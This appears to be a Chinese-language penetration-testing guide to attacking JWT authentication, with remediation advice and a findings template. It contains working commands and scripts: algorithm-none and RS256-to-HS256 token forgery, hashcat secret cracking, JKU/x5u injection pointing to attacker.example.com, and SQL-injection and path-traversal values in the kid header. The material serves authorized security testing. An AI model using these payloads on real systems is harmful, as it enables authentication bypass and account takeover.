测试 JWT 令牌安全性
适用场景
- 在授权的渗透测试中,目标应用程序使用 JWT 进行认证或授权时
- 评估 API 安全性,JWT 作为 Bearer 令牌或在 Cookie 中传递时
- 评估使用 JWT/JWS/JWE 令牌的 SSO 实现时
- 测试颁发 JWT 的 OAuth 2.0 或 OpenID Connect 流程时
- 对使用 JWT 进行服务间认证的微服务架构进行安全审计时
前置条件
- 授权:针对目标的书面渗透测试协议
- jwt_tool:JWT 攻击工具包(
pip install jwt_tool或git clone https://github.com/ticarpi/jwt_tool.git) - Burp Suite Professional:安装了 BApp Store 中的 JSON Web Token 扩展
- Python PyJWT:用于编写自定义 JWT 攻击脚本(
pip install pyjwt) - Hashcat:用于暴力破解 HMAC 密钥(
apt install hashcat) - jq:用于 JSON 处理
- 目标 JWT:来自应用程序的有效 JWT 令牌
工作流程
步骤 1:解码并分析 JWT 结构
提取并检查头部(Header)、载荷(Payload)和签名(Signature)组件。
# 解码 JWT 各部分(base64url 解码)
JWT="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"
# 解码头部
echo "$JWT" | cut -d. -f1 | base64 -d 2>/dev/null | jq .
# 输出: {"alg":"HS256","typ":"JWT"}
# 解码载荷
echo "$JWT" | cut -d. -f2 | base64 -d 2>/dev/null | jq .
# 输出: {"sub":"1234567890","name":"John Doe","iat":1516239022}
# 使用 jwt_tool 进行全面分析
python3 jwt_tool.py "$JWT"
# 检查载荷中的敏感数据:
# - 个人身份信息(PII):邮箱、电话、地址
# - 内部 ID 或数据库引用
# - 角色/权限声明
# - 过期时间(exp、nbf、iat)
# - 颁发方(iss)和受众(aud)
步骤 2:测试算法 None 攻击
尝试通过将算法设置为 "none" 来伪造令牌。
# jwt_tool 算法 none 攻击
python3 jwt_tool.py "$JWT" -X a
# 手动算法 none 攻击
# 创建头部: {"alg":"none","typ":"JWT"}
HEADER=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr -d '=' | tr '+/' '-_')
# 创建修改后的载荷(将 role 改为 admin)
PAYLOAD=$(echo -n '{"sub":"1234567890","name":"John Doe","role":"admin","iat":1516239022}' | base64 | tr -d '=' | tr '+/' '-_')
# 构造带空签名的令牌
FORGED_JWT="${HEADER}.${PAYLOAD}."
echo "伪造的 JWT: $FORGED_JWT"
# 测试伪造的令牌
curl -s -H "Authorization: Bearer $FORGED_JWT" \
"https://target.example.com/api/admin/users" | jq .
# 尝试变体: "None", "NONE", "nOnE"
for alg in none None NONE nOnE; do
HEADER=$(echo -n "{\"alg\":\"$alg\",\"typ\":\"JWT\"}" | base64 | tr -d '=' | tr '+/' '-_')
FORGED="${HEADER}.${PAYLOAD}."
echo -n "alg=$alg: "
curl -s -o /dev/null -w "%{http_code}" \
-H "Authorization: Bearer $FORGED" \
"https://target.example.com/api/admin/users"
echo
done
步骤 3:测试算法混淆(RS256 到 HS256)
如果服务器使用 RS256,尝试切换到 HS256 并用公钥签名。
# 步骤 1:获取服务器的公钥
# 检查常见位置
curl -s "https://target.example.com/.well-known/jwks.json" | jq .
curl -s "https://target.example.com/.well-known/openid-configuration" | jq .jwks_uri
curl -s "https://target.example.com/oauth/certs" | jq .
# 步骤 2:从 JWKS 提取公钥
# 保存 JWKS 并转换为 PEM 格式
# 使用 jwt_tool 或 openssl
# 步骤 3:jwt_tool 密钥混淆攻击
python3 jwt_tool.py "$JWT" -X k -pk public_key.pem
# 使用 Python 手动进行算法混淆攻击
python3 << 'PYEOF'
import jwt
import json
# 读取服务器的 RSA 公钥
with open('public_key.pem', 'r') as f:
public_key = f.read()
# 创建伪造载荷
payload = {
"sub": "1234567890",
"name": "Admin User",
"role": "admin",
"iat": 1516239022,
"exp": 9999999999
}
# 使用 RSA 公钥作为 HMAC 密钥,以 HS256 签名
forged_token = jwt.encode(payload, public_key, algorithm='HS256')
print(f"伪造令牌: {forged_token}")
PYEOF
# 测试伪造的令牌
curl -s -H "Authorization: Bearer $FORGED_TOKEN" \
"https://target.example.com/api/admin/users"
步骤 4:暴力破解 HMAC 密钥
如果使用 HS256,尝试破解签名密钥。
# 使用 jwt_tool 配合常见密钥
python3 jwt_tool.py "$JWT" -C -d /usr/share/wordlists/rockyou.txt
# 使用 hashcat 进行 GPU 加速破解
# 模式 16500 = JWT (HS256)
hashcat -a 0 -m 16500 "$JWT" /usr/share/wordlists/rockyou.txt
# 使用 John the Ripper
echo "$JWT" > jwt_hash.txt
john jwt_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256
# 如果找到密钥,可以伪造任意令牌
python3 << 'PYEOF'
import jwt
secret = "cracked_secret_here"
payload = {
"sub": "1",
"name": "Admin",
"role": "admin",
"exp": 9999999999
}
token = jwt.encode(payload, secret, algorithm='HS256')
print(f"伪造令牌: {token}")
PYEOF
步骤 5:测试 JWT 声明篡改和注入
修改 JWT 声明以提升权限或绕过授权。
# 使用 jwt_tool 进行声明篡改
# 更改 role 声明
python3 jwt_tool.py "$JWT" -T -S hs256 -p "known_secret" \
-pc role -pv admin
# 测试常见声明攻击:
# 1. JKU(JWK Set URL)注入
python3 jwt_tool.py "$JWT" -X s -ju "https://attacker.example.com/jwks.json"
# 在该 URL 托管攻击者控制的 JWKS
# 2. KID(Key ID)注入
# 在 kid 参数中进行 SQL 注入
python3 jwt_tool.py "$JWT" -I -hc kid -hv "../../dev/null" -S hs256 -p ""
# 如果 kid 用于文件路径查找,指向 /dev/null(空密钥)
# 通过 kid 进行 SQL 注入
python3 jwt_tool.py "$JWT" -I -hc kid -hv "' UNION SELECT 'secret' --" -S hs256 -p "secret"
# 3. x5u(X.509 URL)注入
python3 jwt_tool.py "$JWT" -X s -x5u "https://attacker.example.com/cert.pem"
# 4. 修改 subject 和 role 声明
python3 jwt_tool.py "$JWT" -T -S hs256 -p "secret" \
-pc sub -pv "admin@target.com" \
-pc role -pv "superadmin"
步骤 6:测试令牌生命周期和吊销
评估令牌过期强制执行和吊销能力。
# 测试是否接受已过期的令牌
python3 << 'PYEOF'
import jwt
import time
secret = "known_secret"
# 创建 1 小时前已过期的令牌
payload = {
"sub": "user123",
"role": "user",
"exp": int(time.time()) - 3600,
"iat": int(time.time()) - 7200
}
expired_token = jwt.encode(payload, secret, algorithm='HS256')
print(f"过期令牌: {expired_token}")
PYEOF
curl -s -H "Authorization: Bearer $EXPIRED_TOKEN" \
"https://target.example.com/api/profile" -w "%{http_code}"
# 测试具有遥远未来过期时间的令牌
python3 << 'PYEOF'
import jwt
secret = "known_secret"
payload = {
"sub": "user123",
"role": "user",
"exp": 32503680000 # 3000 年
}
long_lived = jwt.encode(payload, secret, algorithm='HS256')
print(f"长期有效令牌: {long_lived}")
PYEOF
# 测试注销后的令牌重用
# 1. 在注销前捕获 JWT
# 2. 注销(调用 /auth/logout)
# 3. 尝试再次使用已捕获的 JWT
curl -s -H "Authorization: Bearer $PRE_LOGOUT_TOKEN" \
"https://target.example.com/api/profile" -w "%{http_code}"
# 如果返回 200,说明令牌在注销后未被吊销
# 测试密码更改后的令牌重用
# 类似测试:捕获 JWT,更改密码,重用旧 JWT
核心概念
| 概念 | 描述 |
|---|---|
| 算法 None 攻击 | 通过将 alg 设置为 none 来绕过签名验证 |
| 算法混淆 | 从 RS256 切换到 HS256,并用公钥作为 HMAC 密钥签名 |
| HMAC 暴力破解 | 使用词表或暴力破解方式破解弱 HS256 签名密钥 |
| JKU/x5u 注入 | 将 JWT 头部 URL 指向攻击者控制的密钥服务器 |
| KID 注入 | 利用密钥 ID 头部参数中的 SQL 注入或路径遍历 |
| 声明篡改 | 在攻破签名密钥后修改载荷声明(role、sub、permissions) |
| 令牌吊销 | 在令牌过期前使其失效的能力(或缺乏该能力) |
| JWE 与 JWS | JSON Web 加密(JWE,保密性)与 JSON Web 签名(JWS,完整性)的区别 |
工具与系统
| 工具 | 用途 |
|---|---|
| jwt_tool | 带自动化攻击模块的全面 JWT 测试工具包 |
| Burp JWT Editor | 用于实时 JWT 操纵的 Burp Suite 扩展 |
| Hashcat | GPU 加速的 HMAC 密钥暴力破解(模式 16500) |
| John the Ripper | 基于 CPU 的 JWT 密钥破解 |
| PyJWT | 用于编程式 JWT 创建和操纵的 Python 库 |
| jwt.io | JWT 在线解码器,可快速分析(请勿粘贴生产环境令牌) |
常见场景
场景 1:算法 None 绕过
JWT 库接受 "alg":"none" 的令牌,任何用户只需移除签名并修改算法头部即可伪造管理员令牌。
场景 2:弱 HMAC 密钥
应用程序使用 HS256 算法,且签名密钥为字典单词。Hashcat 在几分钟内破解密钥,实现完全的令牌伪造和管理员冒充。
场景 3:SSO 中的算法混淆
SSO 提供方使用 RS256,但消费方应用程序也接受 HS256。攻击者使用公开可用的 RSA 公钥通过 HS256 对伪造令牌签名。
场景 4:KID SQL 注入
kid 头部参数用于 SQL 查询中查找签名密钥。注入 ' UNION SELECT 'attacker_secret' -- 使攻击者能控制签名密钥。
输出格式
## JWT 安全发现
**漏洞类型**: JWT 算法混淆(RS256 到 HS256)
**严重级别**: 严重(CVSS 9.8)
**位置**: 所有 API 端点的 Authorization 头
**OWASP 类别**: A02:2021 - 密码学失效
### JWT 配置
| 属性 | 值 |
|------|-----|
| 算法 | RS256(同时接受 HS256) |
| 颁发方 | auth.target.example.com |
| 过期时间 | 24 小时 |
| 公钥 | 可在 /.well-known/jwks.json 获取 |
| 吊销机制 | 未实现 |
### 已确认的攻击
| 攻击方式 | 结果 |
|---------|------|
| 算法 None | 已拦截 |
| 算法混淆(RS256→HS256) | 存在漏洞 |
| HMAC 暴力破解 | 不适用(RSA) |
| KID 注入 | 不存在 |
| 已过期令牌重用 | 已接受(无吊销机制) |
### 影响
- 通过伪造管理员令牌完全绕过认证
- 任何用户均可通过伪造 JWT 声明提升至任意角色
- 注销后令牌仍有效(无服务器端吊销)
### 修复建议
1. 在服务器端强制执行算法白名单(拒绝意外的算法)
2. 使用非对称算法(RS256/ES256)并妥善管理密钥
3. 通过黑名单或短期过期配合刷新令牌机制实现令牌吊销
4. 服务器端验证所有 JWT 声明(iss、aud、exp、nbf)
5. HMAC 密钥长度至少为 256 位